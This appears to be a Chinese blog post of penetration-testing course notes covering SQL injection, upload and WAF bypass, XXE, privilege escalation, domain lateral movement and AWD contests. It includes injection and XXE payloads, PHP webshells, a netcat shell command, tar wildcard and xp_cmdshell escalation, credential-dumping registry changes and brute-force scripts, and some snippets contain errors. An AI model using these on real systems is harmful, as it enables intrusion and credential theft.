小迪渗透测试笔记

信息收集

CDN绕过

CDN内容分发网络,运行在现有网络基础上的智能虚拟网络,使用户就近获取所需内容降低网络拥塞
判断:利用多节点技术请求返回判断(使用超级ping)

绕过:

  1. 推测真实ip
    子域名查询:可能子域名没有使用CDN,所以可以通过子域名推测主域名真实IP
    邮件服务查询:邮件服务器可能没有CDN
    国外地址请求:可能没有在国外部署CDN
    通过遗留文件
    扫描全网
    zoomeye,shodan fofa.so搜索指定文件
    查询DNS历史记录
    get-site-ip网站

  2. 找到后更改本地hosts文件

搜集内容

  • 防火墙信息搜集:wafw00f工具
  • 程序源码CMS
  • 操作系统,数据库,中间件
  • 站点信息搜集
    • 目录型站点:不同目录下有不同应用,通过目录遍历
    • 端口类站点:不同端口对于不同应用,端口扫描
    • 子域名站点:不同子域名判断是否在同一个服务器
    • 查看是否有类似域名
    • 旁注,C段查询:旁注可能不同站点在同一个服务器上,C站同一网段有不同服务器
    • 网站搭建软件的搜集
  • APP通过抓包或反编译查看请求的web链接
  • 第三方应用,支付存储接口等

web漏洞

sql注入

首先明确注入数据库的类型权限
其次明确提交的方法和参数类型等
如果有高权限可以进行文件读写,命令执行等获取shell
否则可以注入数据库,对数据库信息查询,找后台登录

mysql

一般思路

  1. 判断注入
    可以通过传入错误参数看页面是否有变化判断
  2. 猜解列名数量
    id=1 order by 3
  3. 报错
    id=-1 union select 1,2,3
    看显示的为1,2,3中哪个字段,比如显示2
  4. 信息搜集
    id=-1 union select 1,version(),3
    version()数据库版本
    database()数据库名称
    user()数据库用户
    @@version_compile_os操作系统
  5. 查询
    低版本通过爆破
    在mysql5.0以上存在自带数据库information_schema,它保存所有数据库名,表名,列名,所以可以通过它获取数据库下表名列名信息
    information_schema.tables记录所有表名信息的表
    informaion_schema.colums记录所有列名信息的表
    information_schema.schemata记录所有数据库名
    table_name表名
    colum_name列名
    table_schema数据库名

查询时多个数据通过group_concat()连接起来显示
多个数据也可以通过语句limit查询

文件读写操作

load_file()读取函数
outfile dumpfile写入函数
路径获取:报错显示,遗留文件,漏洞报错,平台配置文件,爆破等
如果有魔术引号:
magic_quotes_gpc是配置在php.ini中打开等
通过16进制编码或宽字节

明确注入参数类型

注入参数可能是数字,字符串,json等,所以在注入时考虑单引号,双引号,括号等闭合

明确请求方法

注入位置可能有get数据,post数据,后数据包头的参数,如cookie等

oracle和mongodb

access没有数据库名

盲注

可能由于sql为插入,更新等操作,或网站的设置,在注入过程中获取的数据不能回显,需要通过其它方法判断

  1. 布尔盲注
    通过与逻辑进行判断
  2. 时间盲注
    使用if,sleep
    sleep(a,b,c)如果a成立则执行b,否则执行c
  3. 报错盲注
    使用函数floor,updatexml,extractvalue
  4. 常用进行猜解匹配函数
    like 通配符匹配
    regexp
    mid(a,b,c)从b位置开始,截取a的c位
    substr(a,b,c)从b开始,截取阿德c位
    left(a,b)从左侧截取a的前b位
    length()返回长度
    ascii()获得字符ascii码

二次注入
输入的参数被保存在数据库中,之后该数据被取出带入sql中,从而触发注入

dns带外注入
ceye.io

堆叠注入
多条sql语句一起执行(可以自定义一些语句,从而执行),可能有些数据库不支持这种注入

waf绕过

通过数据操作绕过

  1. 大小写
  2. 编码解码
  3. 换用其它等价函数
  4. 用特殊符号,如换行符
  5. 反序列化
  6. 注释符,如mysql中的/**/

通过数据提交方式绕过

网站必须支持这种提交方式,比如get换为post

其它

  1. 参数污染
    比如在mysql中,同时给参数传入两个参数,它只接受第二个。如传入id=1/**-1 union select 1,2,3#*/由于/***/起注释作用,可能通过防火墙检测,而由于参数污染,传入的id值为-1 union select 1,2,3#
  2. 数据库特性
    如mysql中/*!50001 select * from test */
    表示如果数据库是5.00.01以上的版本,语句才会执行,可以通过这种语句干扰waf检测
  3. fuzz模糊测试
  4. 由于测试请求过于频繁,可能被禁止访问。这时可以通过修改user-agent伪装为官方的爬虫搜索引擎

文件上传

验证的部位

  1. 文件后缀名
  2. 文件类型即MIME信息
  3. 文件内容头信息

绕过验证

前端验证禁用绕过js即可,后端验证分为黑名单和白名单

黑名单

  1. 特殊解析后缀(apache的php3等)
  2. .htaccess
  3. 大小写绕过
  4. 点绕过
    windows特性会在保存文件时自动忽略文件最后一个点
  5. 空格绕过
    windows特性会在保存文件时自动忽略文件最后一个空格
  6. ::$$DATA绕过
    php在window时,如果文件名后::$$DATA,那么会把::$$DATA之后的数据当做文件流处理
  7. 配合解析漏洞
  8. 双后缀名绕过

白名单

  1. MIME
  2. %00截断
  3. 0X0a截断

其它

  1. 文件内容头检测
  2. 二次渲染
  3. 条件竞争
  4. getimagesize和exif_imagetype函数
    php使用此函数获取图片信息,需要有文件包含漏洞,上传图片木马
  5. 目录命名
    上传如x.php/.的后缀名文件,依然按php文件处理
  6. 脚本函数漏洞
  7. 数组接受+目录命名

漏洞产生原因

  1. 代码逻辑
  2. 解析漏洞
  3. 中间件漏洞
  4. 编辑器漏洞
    https://navisec.it/%e7%bc%96%e8%be%91%e5%99%a8%e6%bc%8f%e6%b4%9e%e6%89%8b%e5%86%8c/
  5. CMS

绕过waf

更改数据包中内容
content-disposition
filename
content-type
绕过方法:

  1. 增加垃圾数据数据溢出
    如在content-disposition后增加许多无关数据
  2. 符号变异(' " 😉
    如更改正常filename字段为
    filename="x.php
    filename='x.php
    filename="a.jpg;.php";
  3. 数据截断
    %00 换行
  4. 重复数据
    如在filename中插入正常的数据包中的字段

xss跨站

反射型
存储型
dom型:代码通过本地浏览器静态前端代码处理

beef

http only

cookie中设置了httponly属性,通过js脚本无法读取cookie信息
未保存的账号密码通过表单劫持:实现在登录页面已经插入恶意代码,恶意代码监听登录中账号密码的输入
保存的通过通过插入恶意代码读取浏览器中保存的

waf绕过

  1. 标签语法替换
    以不同的标签替换
  2. 特殊符号干扰
  3. 提交方式更改
  4. 垃圾数据溢出
  5. 加密解密算法
  6. 结合其它漏洞绕过

xsstrike
imxss

文件包含

本地包含若无限制,可以直接读取执行文件内容,或者通过../../跨目录读取
若有限制,即通过include($filename.".html"制定了包含文件类型:

  1. 如果php<5.3.4且magic_quotes_gpc=off可以在文件名后使用%00截断
  2. 或者在文件名后加. ./ ? %23等垃圾数据到一定程度
    远程包含也类似

php伪协议

http://www.cnblogs.com/endust/p/11804767.html

反序列化

序列化是将对象转换为字符串,反序列化相反,对象的序列化有利于对象的保存传输和分享

php反序列化

未对用户输入的序列化字符串进行检测,导致用户可以控制反序列化过程,从而导致代码执行,注入,目录遍历

php中序列化实现函数
serialize()将对象转换为一个字符串
unserialize()将字符串转化为对象
序列化后的含义
img

分为有类和无类两种,有类时,
php类中有魔术方法
__construct();创建对象时出发
__destruct();对象销毁时触发等

如果在反序列化时传入设计的序列化后的类,可能执行类中的魔术方法,导致攻击

java反序列化

序列化作用:利用序列化将程序运行的对象状态以二进制形式存储在文件系统中,然后可以利用反序列化恢复对象
工具:ysoserial
java中序列化实现函数
ObjectOutputStream类->writeObject()序列化将字节流写到.ser文件中
ObjectInputStream类->readObject()反序列化

一段数据以rO0AB开头,那么这串数据就是java序列化后base64编码后的
以aced开头,就是java序列化后的16进制

逻辑越权

越权

  1. 水平越权
    更换身份标识后,获取另一个账号数据权限
  2. 垂直越权
    通过低权限身份,发送高权限才有的请求,获得高权限操作

csrf

防御方法

  1. 用户发送请求时需要输入原始密码
  2. 设置随机token
  3. 检查referer来源,请求时判断请求链接是否为管理员正在使用页面
  4. 设置验证码
  5. 请求方式限制为post

ssrf

由于服务器提供了从其它服务器获取数据的功能,却没有对目标做出过滤,可以利用此服务器访问原本无法访问的内网
可能存在漏洞的地方:

  1. 通过url分享网页的内容
  2. 通过url把原始的网页调优使其适合手机屏幕浏览
  3. 通过url地址翻译对应文本的内容
  4. 通过url地址加载或下载图片
  5. 图片文章收藏功能
  6. 其它调用url的功能

可以通过此进行漏洞扫描,指纹扫描,或者通过file,ftp等协议读取文件

xxe安全

xml是数据传输和存储的格式。在应用解析xml输入时,没有禁止外部实体加载,导致可加载外部文件,造成文件读取,命令执行,内网攻击等危害
工具:xxeinjector
判断:

  1. 如果数据包中数据格式为标签格式
  2. 数据包中content-type为中有xml字样

内网探测
判断应用端口是否开放

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo[
  <!ELEMENT foo ANY>
  <!ENTITY rabbit SYSTEM "地址“”>
]>
<x>&rabbit;</x>

引入外部实体dtd

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test[
  <!ELEMENT % file SYSTEM "http://地址文件>
  %file;
]>
<x>&rabbit;</x>

而该文件可以是读取系统中的某个文件,从而可以绕过一些检查

<!ENTITY send SYSTEM "file:///d:/test.txt">

读文件

<?xml version="1.0"?>
<!DOCTYPE ANY[
  <!ENTITY send SYSTEM "file:///d:/test.txt">
]>
<x>&send;</x>

读文件绕过

<?xml version="1.0"?>
<!DOCTYPE ANY[
  <!ENTITY send SYSTEM "php://filter/read=convert.base64-encode/resource=文件">
]>
<x>&send;</x>

读无回显的可以在读取的时候写到远程的文件中

其它

java安全

sql注入防御

  1. 利用session防御,session内容正常情况下用户无法修改
  2. 参数绑定
    利用了sql预编译技术
String query ="SELECT * FROM users WHERE last_name=?";
PreparedStatement statement =connection.prepareStatement(query);
statement.setString(1,accountNmae);
Resultset results =statement.executeQuery();

使用PreparedStatement方式进行sql查询时,SQL语句被预编译存储在PreparedStatemen对象中,通过connect对象的preparedStatement方法调用PreparedStatement对象使用
PreparedStatement对象中?表示需要传入的参数,通过setString等方法设置参数,方法中前一个参数为索引号
使用PreparedStatement进行参数化查询可以阻止大部分sql注入
但是可以使用case when语句将order by后的orderExpression表达式中添加select语句

jwt安全

json web token是一种跨域验证身份的方案。
jwt分为头部,声明,签名三个部分,以英文句号隔开,以base64url进行编码
头部中alg参数说明这个签名使用的算法,可以设置为none不进行签名
typ参数说明这个token的类型
签名时服务端有密钥,使用头部指定的算法对前两个部分进行加密作为签名

waf绕过

信息搜集绕过

数据包中更改请求方式,user-agent伪装成爬虫,更改包中数据模拟真实用户
请求使用延时技术,使用代理池用多个ip扫描

权限控制

通过以下方法绕过:

  1. 变量覆盖
    通过控制参数来控制木马
$a=$_GET['x'];//传入x=b就成了$a=b
$$a=$_GET['y'];//其实就成了$b=$_GET['y']
$b($_POST['z']);//传入x=b y=assert后就拼接成了assert($_POST['z'])
  1. 加密混淆
  2. 异或生成

代码审计

工具:RIPS Fortify Seay
思路:

  1. 搜索特殊函数
  2. 搜索关键字
  3. 通过功能判定可能存在漏洞

权限提升

漏洞溢出

windows systeminfo查看补丁
wes工具可以进行补丁筛选,扫描漏洞

数据库提权

mysql

  1. UDF提权
    首先需要得到root用户密码
    可以通过数据库配置文件了解
    通过数据库备份文件查看
    利用脚本进行本地或远程暴力破解
    之后利用select version()查看数据库版本,利用select @@basedir查看安装命令
    <5.1 导出目录c:/window或system32
    =>5.1 导出安装目录/lib/plugin/
    plugin目录需要手工创建
    select 'x' into dumpfile '目录/lib/plugin::INDEX_ALLOCATION';

将写好的.dll扩展上传到指定目录后,需要CREATE FUNCTION引入
2. MOF提权

sql server

  1. 使用xp_cmdshell提权
    默认关闭,需要管理员用户sa使用sp_configure开启
    开启:
    EXEC sp_configure 'show advances options', 1
    RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell', 1;
    RECONFIGURE;
    执行:
    EXEC master.dbo.xp_cmdshell, '系统命令'
  2. 使用sp_oacreate提权
  3. 使用沙盒进行提权
    blog.51cto.com/11797152/2411770

redis

  1. 利用计划任务反弹shell
  2. 如果以root用户登录,可以写入ssh公钥文件,从而直接登录服务器
  3. 低权限写入webshell

postgresql

9.3-11版本中,管理员或者具有'copy to/from program'权限的用户可以执行任意命令

令牌窃取

在已经有后门情况下
上传烂土豆,执行execute -cH -f ./potato.exe
msf使用窃取模块窃取系统用户令牌提权
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM"

dll劫持

如果服务器使用一些第三方应用,可以使用msf生成dll后门文件,替换原有文件的dll,当该应用运行时就会获取webshell,从而可以进一步通过令牌窃取等获取权限

服务路径不带引号

windows服务的执行路径如果没有带引号,且路径中间存在空格,那么操作系统可能将空格后的当做参数
所以可以制作以路径空格前的名字命名的文件,上传后,当服务重启后就可执行该文件
执行路径没有带引号的检测方法
wmic service get name,diaplayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\" |findstr /i /v """

服务权限配置不当

使用微软工具accesschk查看用户对服务拥有什么权限,如果权限较高,可以上传文件,将服务路径指向该文件,服务重启后执行

linux

漏洞扫描工具:linux-exploit-suggester2
信息搜集工具:linenum,linuxprivchecker

suid

查找有suid权限的程序,其中可能有利用的程序有:
nmap
vim
less
more
nano
cp
mv
find
不同的程序有不同的利用方法如find为
touch xx
find xx -exex 命令 ;
反弹shell
find xx -exec netcat -lvp duank -e /bin/sh ;

cve-2016-5195脏牛漏洞

定时任务提权

  1. 查看有root权限的定时任务
    通过在当前用户的目录下/home/用户/ 上传与定时任务同名可执行程序
    定时任务启动时可能执行上传的文件
  2. 如果定时任务文件分配的权限够大,其它用户可以修改覆盖该等时任务,变成自己想要执行的文件或命令
  3. 利用通配符配合命令参数自定义命令提权
    备份时经常使用打包命令tar,如果其使用了通配符*,则可以利用
    首先向要打包的目录里写入

再生成两个特殊命名的空文件

echo "">"--checkpoint-action=exec=sh xx.sh"  
echo "">--checkpoint=1  

当定时打包时,会将上两个特殊命名的文件当做命令参数执行,而这个命令参数又是运行了提前写好的xx.sh,而xx.sh的内容是生成shell,最终实现了提权

内网安全

信息搜集

  1. 计算机信息
    systeminfo 计算机详细信息
    net start 计算机启动服务
    tasklist 计算机进程列表
    schtasks 计划任务
  2. 网络信息
    判断存在的域
    ipconfig /all
    net view /domain
    net time /domain 判断主域
    nslookup 域名 判断域名ip地址
    net stat -ano 判断端口开放
  3. 用户信息
    对主域有控制权的用户
    domain admins
    enterprise asmins
    whoami /all 判断当前用户权限
    net config workstation 查看登录信息
    net user 获取本地用户
    net loaclgroup 获取本地用户组
    net user /domain 获取域用户信息
    net group /domain 获取域用户组信息
    wmic useraccount get /all 获取域用户详细信息
    net group "domain admins" /domain
    net group "enterprise admins" /domain
    net group "domain controllers" /domain
  4. 账户信息
    获取计算机上账户和密码工具:mimikatz(win)
    如果mimikatz被拦截,可以通过微软官方工具procdump获取密码文件后,再用mimikatz打开
    获取计算机上保存的所有密码信息:lazagne,xenarmor
  5. 内网主机信息
    对内网存活主机扫描
    for /L %I in (1,1,254) DO @ping -w 1 -n 1 192.168.1.%I findstr "TTL="
    功能强大的powershell脚本nishang empire
    使用:
    设置执行策略:set_executionpolicy remotesigned
    导入模块: import_module .\nishang.psml
    端口扫描:invoke_portscan -startaddress IP -endaddress ip -resolvehost -scanport

横向渗透

计划任务

在拿下一台内网主机后,可以通过minikatz得到主机中的密码信息
之后可以根据这些密码信息作为密码字典对内网中其它主机爆破
得到密码后就可通过IPC进行连接
之后可以执行创建计划任务,执行远程命令等操作,攻破该主机
逐步攻破内网

爆破时通过IPC连接

IPC连接失败原因
目标系统不是NT及以上系统
没有打开IPC$共享
没有开启139、445端口,或被防火墙屏蔽
密码,账户,命令错误

如果连接本地账户
net use \\ip\ipc$"密码" /user:用户名
如果是域内用户需要在后面改为```/user:domain\username

爆破时批量检测示例
如检测IP,就将上述命令ip替换

FOR /F %%i in (ip字典) do net use \\%%i\ipc$"密码" /user:用户名

也可使用python编写,编译为可执行文件

for i in ip:
  for j in user:
    for pass in password:
      exec="net use \\"+ "\\" +ip+'\ipc$'+mima+'/user:god\\'+user
      os.system(exec)

如果只能获取密码哈希值,可以如下解决
利用hash值认证,如:可以使用atexec-impacket工具
使用SMB、WMI等协议
通过hashcat等工具对hash值进行爆破
修改注册表开启wdigest auth

reg add
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProciders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

之后对于win2012以下版本可以通过at创建定时任务,以上版本可以使用schtasks命令

smb

当445端口开放,可以使用工具pseexec或smbexec使用口令或者口令的哈希值进行连接

wmic

使用工具wmic连接

wmic /node:ip /user:用户 /password:密码 process call create "cmd.exe /c 命令 >c:\1.txt"

使用cscript,需要配合wmiexec.vbs
使用wmiexec

PTH,PTT,PTK

PTH使用lm或ntlm哈希值进行连接
PTT使用票据凭证连接
PTK使用ekeys进行连接

如果有了KB2871997补丁后,不能使用哈希值进行连接,但是administrator可以,另外在打了补丁后可以使用ekeys进行连接

PTT是利用kerberos协议进行攻击
基于ms14-068漏洞可以伪造票据将自己的普通用户权限提升至域控权限,但是微软给出了kb3011780补丁

  1. whoami/user查看当前sid
  2. klist查看当前缓存票据,klist purge清空保存票据
  3. 利用ms14-068伪造票据
    ms14-068.exe -u 域成员名@域名 -s sid -d 域控制器地址 -p 域成员密码
  4. 利用mimikatz将票据注入内存

如果本机用于管理员权限,且之前和域控连接过,可以使用mimkatz导出之前使用的票据,再注入内存进行连接

工具ladon

SPN

SPN在kerberos中用于唯一标识服务实例名称

  1. 通过setspn -q /查找服务,其中的服务可能有MSSQL,WAMAN,Exchange,TERMSERV,Hyper-V Host
  2. 请求该服务
    Add-Type -AssemblyName System.IdentityModel
    img
    img
    img

cobaltstrike

代理技术

ngrok工具
在官网配置好信息后,下载客户端到本机,并启动
本机生成木马,地址和端口绑定为配置好的代理信息,并在本机监听

frp工具

信息搜集几条命令
获取网络接口 run get_local_subnets
查看路由地址 run autoroute -p
添加路由地址 run autoroute -s 网段
img
得攻破目标1后,在目标1添加路由,然后通过msf开启本地代理
use auxiliary/server/socks4a
set srvport 端口
exploit
之后就可以在攻击机上通过该代理访问目标2

攻破目标2后生成正向后门,使目标2监听某一端口
接着使用msf连接这一端口

之后在目标2配置路由,开启代理

隧道技术

常用隧道
网络层:ipv6隧道,icmp隧道
传输层:tcp隧道,udp隧道
应用层:ssh隧道,http/s隧道,dns隧道

为了判断目标是否支持该协议可使用如下命令
tcp: nc ip 端口
http: curl ip:端口
icmp: ping命令
dns: nslookup或dig

伪装icmp流量:工具pingtunnel
传输层:
工具portmap
工具netcat
img
img
img
img

应急响应

工具PChunter64 hkkvjuvffo
获取执行列表工具 UserAssistView

360星图日志分析工具
elk日志分析
splunk日志分析

fileseek搜索软件
gscan 自动化响应工具
win日志分析工具 LogonTracer
应急响应工具箱 ir-rescue
工具
img

红蓝对抗

awd

  1. 备份网站文件
  2. 部署waf:工具aoiawd
  3. 修改弱口令
  4. 扫描后门:seay和audit workbench
  5. 关闭不必要端口
  6. 查看是否有特殊进程
  7. 代码审计
  8. 使用脚本对文件监控:自动删除,恢复,备份文件
  9. 使用脚本记录日志:分析攻击行为修复漏洞或者借鉴去攻击其它队伍
  10. 批量flag,自动获取flag并提交
  11. 使用不死马
<?php
ignore_user_abort(true);//进程运行
set_time_limit(0);//无限制运行
unlink(__FILE__);//删除自己,防止查杀
$code=
$file=
//死循环,不断将code的内容写入file文件中
while(1){
  file_put_contents($file,$code);
  usleep(1000);
}
?>

不死马的防御:
ps auxww|grep 木马文件 找到pid,杀掉进程
重启php等web服务
和木马竞争,也用一个ignore_user_abort(true);的脚本,向file中写入无害的内容
创建和file文件名字一样的文件夹
12. 恶意发送一些流量,扰乱他人日志记录,浪费别人时间
13. 由于flag大部分可能为批量脚本利用,所以在发现别人攻击自己的数据包时,也可以利用此包攻击他人

护网

文档书写参考:mitre ATT&CK
https://attack.mitre.org/matrices/enterprise

蜜罐:hfish
防火墙:openrasp
HIDS:yulong和wazuh
木马在线分析:微步在线云沙箱,奇安信威胁情报中心等在线工具

src

查看最新公开漏洞
搜索
利用公开漏洞刷

或者下载网站源码,分析后通过搜索查找真实网站

java net反编译源码工具dnspy
js接口查找工具 jsfinder

posted @ 2022-07-16 11:07  启林O_o  阅读(531)  评论(0)    收藏  举报